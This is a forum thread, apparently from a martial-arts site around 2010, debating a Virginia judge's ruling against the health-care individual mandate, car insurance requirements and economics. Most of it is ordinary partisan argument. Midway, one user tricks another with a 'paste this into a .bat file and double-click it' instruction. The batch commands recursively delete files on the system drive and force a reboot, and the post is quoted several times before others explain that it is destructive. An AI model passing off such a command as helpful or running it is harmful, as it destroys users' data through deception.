VA judge rules key part of Obamacare unconstitutional

[BJJ-Blue]

"A Virginia federal judge on Monday found a key part of President Barack Obama's sweeping health care reform law unconstitutional, setting the stage for a protracted legal struggle likely to wind up in the Supreme Court.

U.S. District Judge Henry Hudson struck down the "individual mandate" requiring most Americans to purchase health insurance by 2014. The Justice Department is expected to challenge the judge's findings in a federal appeals court.

Hudson's opinion contradicts other court rulings finding the mandate constitutionally permissible.

"An individual's personal decision to purchase -- or decline purchase -- (of) health insurance from a private provider is beyond the historical reach of the U.S. Constitution," Hudson wrote. "No specifically constitutional authority exists to mandate the purchase of health insurance."

"Despite the laudable intentions of Congress in enacting a comprehensive and transformative health care regime, the legislative process must still operate within constitutional bounds," Hudson added. "Salutatory goals and creative drafting have never been sufficient to offset an absence of enumerated powers."

A federal judge in Virginia ruled in favor of the administration earlier this month over the purchase requirement issue, mirroring conclusions reached by a judge in Michigan back in October.

Virginia officials had argued that the Constitution's Commerce Clause does not give the government the authority to force Americans to purchase a commercial product -- like health insurance -- that they may not want or need. They equated such a requirement to a burdensome regulation of "inactivity."

Virginia is one of the few states in the country with a specific law saying residents cannot be forced to buy insurance.

"I am gratified we prevailed," said Virginia Attorney General Ken Cuccinelli, a conservative Republican elected in 2009. "This won't be the final round, as this will ultimately be decided by the Supreme Court, but today is a critical milestone in the protection of the Constitution."

Incoming House Majority Leader Eric Cantor, R-Virginia, urged Obama and Attorney General Eric Holder to request an expedited appeal to the Supreme Court."

Full article:
http://www.cnn.com/2010/POLITICS/12/13/health.care/index.html?hpt=T1&iref=BN1

[Drake]

Who didn't see THAT coming?

[David Jamieson]

yeah, you can't force someone to buy insurance. That was not well thought out and it seemed to be in place of building the requirted infrastructure needed to service the reformed health care.

How it happens here is this:

1. taxes are collected
2. each province is responsible for administering the funds for health care based on projections
3. the feds distribute the collected taxes earmarked for health care to the provinces
4. the province administers the health care under federal guidelines and through centralized tax collection both straight up and sin taxes.


so, if you are just going to leave the hospital and insurance system the same and tell everyone to buy insurance, then yes, your idea of universal health care is stupid and not well thought out and I am probably guessing right in that it likely carries a whole lot of write in add on crap that is so common in American bill passage.

so when are those earmarks to be eliminated from your system to douse that corruption and underhandedness?

[BJJ-Blue]

yeah, you can't force someone to buy insurance. That was not well thought out and it seemed to be in place of building the requirted infrastructure needed to service the reformed health care.

We agree!!!

Well Obama and the Democrats signed a law forcing us to.

And of course it was not well thought out, the Speaker of the House openly said they didn't read it before voting for it, and that we would have to pass it first to see what is in it. :eek:


so when are those earmarks to be eliminated from your system to douse that corruption and underhandedness?

That is an issue, I guess. But the biggest cost that American doctors face that is passed on to the consumer is malpractice insurance. Ask any practicing doctor if you don't believe me. That's why the Republicans wanted to get some sort of tort reform in the legislation. But it was jammed through with only 1 Party votes, and they made sure tort reform wasn't in it. Might be interesting to see what Party gets the most campaign money from trial lawyers....

[KC Elbows]

Car insurance isn't optional in a lot of states, including states without comprehensive public transportation.

[Drake]

Car insurance isn't optional in a lot of states, including states without comprehensive public transportation.

I thought car insurance was mandatory everywhere.

[KC Elbows]

I thought car insurance was mandatory everywhere.

I'm old I guess, I remember it being optional in most states.

Thanks, ya big jerk.:D

[David Jamieson]

You can own uninsured vehicles. You just can't drive them on the roads. :p

[Drake]

In Colorado you can't even register the vehicle without valid proof of insurance.

[Syn7]

In Colorado you can't even register the vehicle without valid proof of insurance.

in BC you have to buy insurance to drive your car... period... and you can own it uninsured on your own property indefinately... but if you wanna drive it it has to be insured with certain minimums...

oh and the best part... and BJJBLUE you will love this part.... we only have one choice of insurance providers... a crown corp. called ICBC... whos claims adjusters get bonuses for finding excuses to not pay out claims... oooohhh how evil and socialist of us... i laugh when you people call obama a socialist... you dont even know... lol...

[BJJ-Blue]

Using the car insurance example is totally off-base. You do not have to own a car, or even drive cars you own. So that means every American is not forced to buy car insurance. Only those people who CHOOSE to drive have to buy insurance. Under Obamacare everyone breathing would be FORCED to buy insurance whether they want to or not. Congress has the right to regulate commerce, but not the right to force people to engage in commerce.


oh and the best part... and BJJBLUE you will love this part.... we only have one choice of insurance providers... a crown corp. called ICBC... whos claims adjusters get bonuses for finding excuses to not pay out claims... oooohhh how evil and socialist of us... i laugh when you people call obama a socialist... you dont even know... lol...

Interesting. Is this mandated by law, or has the free market brought this upon you guys?

As to Obama, he is most definately a socialist. Anyone who says they want to "spread the wealth around" is a socialist/communist.

[KC Elbows]

Using the car insurance example is totally off-base. You do not have to own a car, or even drive cars you own. So that means every American is not forced to buy car insurance. Only those people who CHOOSE to drive have to buy insurance. Under Obamacare everyone breathing would be FORCED to buy insurance whether they want to or not. Congress has the right to regulate commerce, but not the right to force people to engage in commerce.

In my area, you have to have insurance to register a car, and will get ticketed for having an unregistered car visible on your property.

Additionally, since public transportation is weak here, without a car, you're gonna have a hard time making a living, which is fairly true in most places with substantial sprawl and lack of comprehensive public transportation.

The idea that most Americans have a choice on having a car is pure fantasy.



As to Obama, he is most definately a socialist. Anyone who says they want to "spread the wealth around" is a socialist/communist.

Which makes trickle down economics socialistic.

[BJJ-Blue]

In my area, you have to have insurance to register a car, and will get ticketed for having an unregistered car visible on your property.

Additionally, since public transportation is weak here, without a car, you're gonna have a hard time making a living, which is fairly true in most places with substantial sprawl and lack of comprehensive public transportation.

The idea that most Americans have a choice on having a car is pure fantasy.

But again, Americans have the CHOICE to not buy a vehicle. Sure, it may be an inconvenience, but it's still a choice. Unlike the mandates in Obamacare.


Which makes trickle down economics socialistic.

How so? 'A rising tide lifts all boats' is not spreading the water around. Capitalists believe wealth is created by the private sector, and thus everyone can earn more money. Socialists believe in 'Zero sum' economics, ie that the pie never gets bigger, so we have to divide it fairly. Conservatives believe that by making the pie bigger, everyone will get more pie.

And we have a history of success, Reaganomics and Bush's tax cuts both worked. Socialism has a list of failures; USSR, North Korea, Cuba, and Eastern Europe for example.

[KC Elbows]

One can be a capitalist and not believe in trickle down economics. As for Reagan's success, wasn't his the presidency when the average American savings first went into the negative? How is this a success story for trickle down theory?

To the first point, no, most Americas don't have the option of not owning a car, practically speaking. Unless you live in a highly urbanized area, it's quite likely that you must get a car. Going without one briefly=a heavy inconvenience for most Americans. Going wthout one permanently=impossible.

[Reality_Check]

Well, I guess that is one ruling against vs 14 for, two of which said the individual mandate was Constitutional.

Link to 1st opinion: http://www.scribd.com/doc/38913949/Steeh-Opinion

http://www.politico.com/news/stories/1010/43289.html


U.S. District Court Judge George Steeh ruled Thursday that the so-called individual mandate — a requirement President Barack Obama opposed during the presidential campaign but later embraced as part of sweeping changes — falls squarely within Congress’s ability under the Constitution to regulate interstate commerce.

“The decision whether to purchase insurance or to attempt to pay for health care out of pocket is plainly economic,” Steeh wrote in a 20-page opinion. “These decisions, viewed in the aggregate, have clear and direct impacts on health care providers, taxpayers and the insured population, who ultimately pay for the care provided to those who go without insurance.”

2nd decision:

http://thehill.com/images/stories/blogs/virginia.pdf


I hold that there is a rational basis for Congress to conclude that individuals’ decisions about how and when to pay for health care are activities that in the aggregate substantially affect the interstate health care market…Nearly everyone will require health care services at some point in their lifetimes, and it is not always possible to predict when one will be afflicted by illness or injury and require care…Far from ‘inactivity,’ by choosing to forgo insurance, Plaintiffs are making an economic decision to try to pay for health care services later, out of pocket, rather than now, through the purchase of insurance. As Congress found, the total incidence of these economic decisions has a substantial impact on the national market for health care by collectively shifting billions of dollars on to other market participants and driving up the prices of insurance policies.

[David Jamieson]

in BC you have to buy insurance to drive your car... period... and you can own it uninsured on your own property indefinately... but if you wanna drive it it has to be insured with certain minimums...

oh and the best part... and BJJBLUE you will love this part.... we only have one choice of insurance providers... a crown corp. called ICBC... whos claims adjusters get bonuses for finding excuses to not pay out claims... oooohhh how evil and socialist of us... i laugh when you people call obama a socialist... you dont even know... lol...

Auto insurance is private in Ontario. There is no public option. lol
Funny thing is that it is cheaper than what I was paying in Manitoba which is public insurance only as well.

[BJJ-Blue]

One can be a capitalist and not believe in trickle down economics. As for Reagan's success, wasn't his the presidency when the average American savings first went into the negative? How is this a success story for trickle down theory?

I don't believe it was. I personally saw my parents do very well in the 1980s. My dad was a fireman, and my mom stayed home. And he payed for my college, my braces as a kid, and a car when I was 17. I did have to work to pay my insurance, gas, repairs, etc, though. And firemen do not make tons of money. There is a reason liberals call the 1980s the "decade of greed". And it's not because the economy was bad.


To the first point, no, most Americas don't have the option of not owning a car, practically speaking. Unless you live in a highly urbanized area, it's quite likely that you must get a car. Going without one briefly=a heavy inconvenience for most Americans. Going wthout one permanently=impossible.

Yes you do. Again, it may be horribly inconvenient, but it's still your CHOICE to not own one. It's not impossible at all. Not easy I'd wager, but not impossible. You gotta admit I'm right on this one.

[Drake]

But again, Americans have the CHOICE to not buy a vehicle. Sure, it may be an inconvenience, but it's still a choice. Unlike the mandates in Obamacare.



Not really. If you live in Colorado Springs, or virtually anywhere out here where public transportation is nonexistent, you need a car, or else you can't work. It's not really a choice if you want, you know, a normal life. If work is 20 miles away, and there is no us system, a cab will result result in a deficit income, and no coworker (which would still necessitate a car) can drive you, then where is this choice you are talking about?

[BJJ-Blue]

Well, I guess that is one ruling against vs 14 for, two of which said the individual mandate was Constitutional.

Oh, it's headed to the Supreme Court no doubt. Of course Sotomayer and Kagen are admittedly activist judges, so Obama has 2 votes in the bank. I still think the SC will side with Virginia on this one. The Constitution is very clear in two ways, 1)it gives Congress the right to regulate commerce, but does not say it can force the people to engage in commerce, and 2) the 10th Amendment.

[BJJ-Blue]

Not really. If you live in Colorado Springs, or virtually anywhere out here where public transportation is nonexistent, you need a car, or else you can't work. It's not really a choice if you want, you know, a normal life. If work is 20 miles away, and there is no us system, a cab will result result in a deficit income, and no coworker (which would still necessitate a car) can drive you, then where is this choice you are talking about?

Does the Government force you to own a car? Yes or No

[Drake]

Does the Government force you to own a car? Yes or No

Life does. And the only way you can HAVE the CAR is by REGISTERING the CAR with the GOVERNMENT. And it also requires INSURANCE, which is REQUIRED by the GOVERNMENT.


The original question was whether you HAD to have CAR INSURANCE. YES, you DO.

[BJJ-Blue]

Life does.

That's not my question.

Does the Government force you to own a car? Yes or No

Don't be like Jamieson here. ;)

[BJJ-Blue]

The original question was whether you HAD to have CAR INSURANCE. YES, you DO.

And that statement is actually incorrect. You are not forced to have car insurance. You are required to have financial liability. You can meet that requirement without insurance. Most Americans CHOOSE to meet that requirement through insurance, but that is not the only way. So the answer is not Yes, it's actually No.

[Drake]

And that statement is actually incorrect. You are not forced to have car insurance. You are required to have financial liability. You can meet that requirement without insurance. Most Americans CHOOSE to meet that requirement through insurance, but that is not the only way. So the answer is not Yes, it's actually No.

I've lived in a LOT of different places. Not one of them said financial liability was ok in an of itself. You are required to have liability insurance. On paper. Not a secret savings account with a million bucks. Liability INSURANCE.

[Drake]

And that statement is actually incorrect. You are not forced to have car insurance. You are required to have financial liability. You can meet that requirement without insurance. Most Americans CHOOSE to meet that requirement through insurance, but that is not the only way. So the answer is not Yes, it's actually No.

Actually it is correct. Reread the thread.

[Syn7]

jyeah... here we go... grab a seat... this is gonna get ugly... come all gawkers, this is your time...

[Syn7]

Using the car insurance example is totally off-base. You do not have to own a car, or even drive cars you own. So that means every American is not forced to buy car insurance. Only those people who CHOOSE to drive have to buy insurance. Under Obamacare everyone breathing would be FORCED to buy insurance whether they want to or not. Congress has the right to regulate commerce, but not the right to force people to engage in commerce.



Interesting. Is this mandated by law, or has the free market brought this upon you guys?

As to Obama, he is most definately a socialist. Anyone who says they want to "spread the wealth around" is a socialist/communist.

its law... you have no choice in the matter, there is no competition allowed.... lately i believe there have been private choices for long term "safe drivers"... and its changing, like health care, american privates are slowly crawling on their bellies towards everything that is public up here... and its working out for them, slowly but surely they just grind grind grind... self interst like this will always end in overturning constitutional style rights and promises, its just a matter of time... theyre very clever, very patient and very rich... they get sh!t done... and they will change canadian values... just like theyve seized control of US values... grip tight playbwoy... you know its true... now whether you believe its right or wrong, thats the real question in all of that... the line was drawn years ago and most have chosen their side... people flip flop so much though, such emotional responders...


oh and in canada we've been "forced" to pay for healthcare since trudeau, i think... all my life anyways...

[Drake]

While you have to buy auto insurance, you do have a wide array of choices. That forces competition, good service, and awesome commercials from insurance companies trying to get your business.

[Syn7]

Auto insurance is private in Ontario. There is no public option. lol
Funny thing is that it is cheaper than what I was paying in Manitoba which is public insurance only as well.

BC WAS very socialist... not so much anymore... we had the pendulum swing the other way drastically for a minute, now we may find some balance... the privates are comming, their camping outside the gates for sure... its only a matter of time... the last administration sold more than one crown corporation... and even if the pendulum is about to swing to the socialist side, they are losing the war, badly... NDP suck... its like you want to believe in them when ur young, then you get some perspective and realise hpow much they suck... they are borderline incompetent... its insane... i still find myself rooting for the odd individual that happens to be ndp here and there tho... once in a while they pull out some young star that shines for a minute... but they eventually get beat into submission over time or get chased out all together... the lifers are quite hostile to idealistic dabblers... esspecially when they are geniuses... they never last unless they conform... some pretty cool starry eyed does out there tho... they still "believe"... and we need that sometimes...


oh and ICBC, our one choice are borderline criminal IMO...

[Syn7]

While you have to buy auto insurance, you do have a wide array of choices. That forces competition, good service, and awesome commercials from insurance companies trying to get your business.

did you really just call commercials awesome???

[Drake]

did you really just call commercials awesome???

Yes, I did. I prefer Geico commercials over most TV programs and movies.

http://www.youtube.com/watch?v=JhlWddAXSRA

http://www.youtube.com/watch?v=1aZLw_KBdqc

http://www.youtube.com/watch?v=jNvo3dR3RIA&feature=channel

I rest my case.

[Syn7]

Yes, I did. I prefer Geico commercials over most TV programs and movies.

http://www.youtube.com/watch?v=JhlWddAXSRA

http://www.youtube.com/watch?v=1aZLw_KBdqc

http://www.youtube.com/watch?v=jNvo3dR3RIA&feature=channel

I rest my case.

lol... whatever works for you i guess... i dont grudge you good times watching commercials...

[BJJ-Blue]

I've lived in a LOT of different places. Not one of them said financial liability was ok in an of itself. You are required to have liability insurance. On paper. Not a secret savings account with a million bucks. Liability INSURANCE.

Guess you haven't lived in California.

"Types of financial responsibility

•A motor vehicle liability insurance policy
•A cash deposit of $35,000 with DMV
•A DMV issued self-insurance certificate
•A surety bond for $35,000 from a company licensed to do business in California.
For information regarding cash deposits, or self insurance, please contact DMV Financial Responsibility Unit, at (916) 657-6520.

To locate a company that issues surety bonds, please contact the Department of Insurance at 1-800-927-4357 or visit insurance.ca.gov."

Source:
http://www.dmv.ca.gov/pubs/brochures/fast_facts/ffvr18.htm

So it appears you have 4 choices, and only 1 is a liability insurance policy. I was correct. And I haven't even checked the other 49 States, although this alone proves my assertion.

[BJJ-Blue]

Yes, I did. I prefer Geico commercials over most TV programs and movies.

They do have some good ones, several have made me laugh. But they play them way too much, so that I actually start hating them. I never liked the cavemen advertising campaign though.

[Syn7]

Guess you haven't lived in California.

"Types of financial responsibility

•A motor vehicle liability insurance policy
•A cash deposit of $35,000 with DMV
•A DMV issued self-insurance certificate
•A surety bond for $35,000 from a company licensed to do business in California.
For information regarding cash deposits, or self insurance, please contact DMV Financial Responsibility Unit, at (916) 657-6520.

To locate a company that issues surety bonds, please contact the Department of Insurance at 1-800-927-4357 or visit insurance.ca.gov."

Source:
http://www.dmv.ca.gov/pubs/brochures/fast_facts/ffvr18.htm

So it appears you have 4 choices, and only 1 is a liability insurance policy. I was correct. And I haven't even checked the other 49 States, although this alone proves my assertion.



do me a fav...

open notepad

paste this in notepad:

del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00


THEN,
save the file as happyfuntime.bat and close it... go to the folder you saved it in, double click it and it will make everything about KFM better... give it a shot...

[BJJ-Blue]

do me a fav...

open notepad

paste this in notepad:

del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

THEN,
save the file as happyfuntime.bat and close it... go to the folder you saved it in, double click it and it will make everything about KFM better... give it a shot...

I guess it's frustrating when I back up my assertions.

[Drake]

do me a fav...

open notepad

paste this in notepad:

del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00


THEN,
save the file as happyfuntime.bat and close it... go to the folder you saved it in, double click it and it will make everything about KFM better... give it a shot...

Maybe on like, Windows 3.1 that would work.

[Syn7]

batch files are batch files... if youre so confident then give it a shot and let us know how it works out for ya...

not sure about windows 7 or vista... but i know it works on XP...

there are a million of em... you can do whatever you want with batch files as long as you understand them... everything is batch files...

[Drake]

batch files are batch files... if youre so confident then give it a shot and let us know how it works out for ya...

not sure about windows 7 or vista... but i know it works on XP...

there are a million of em... you can do whatever you want with batch files as long as you understand them... everything is batch files...

I know what batch files are. I was writing them as early as 1991. Everything isn't batch file. You can say that batch files work similar to executables, but everything certainly isn't a bat.

[Lucas]

what would that do to someones computer, is that malicious?

[Drake]

what would that do to someones computer, is that malicious?

Pretty self-destructive...

Basically, you write a few dos commands telling the computer to basically ruin itself. You rename it a .bat file, and the comper assumes you want it to follow all the instructions found within. Newer versions of Windows usually warn you that you are about to d something retarded, and most work computers prevent it altogether unless you are an admin.

Should go wthout saying that you'd be wasting your time trying this on a Mac.

[David Jamieson]

Pretty self-destructive...

Basically, you write a few dos commands telling the computer to basically ruin itself. You rename it a .bat file, and the comper assumes you want it to follow all the instructions found within. Newer versions of Windows usually warn you that you are about to d something retarded, and most work computers prevent it altogether unless you are an admin.

Should go wthout saying that you'd be wasting your time trying this on a Mac.

Mac viruses should always be distributed in the hqx format and not in .bat or .exe
The more you know...:p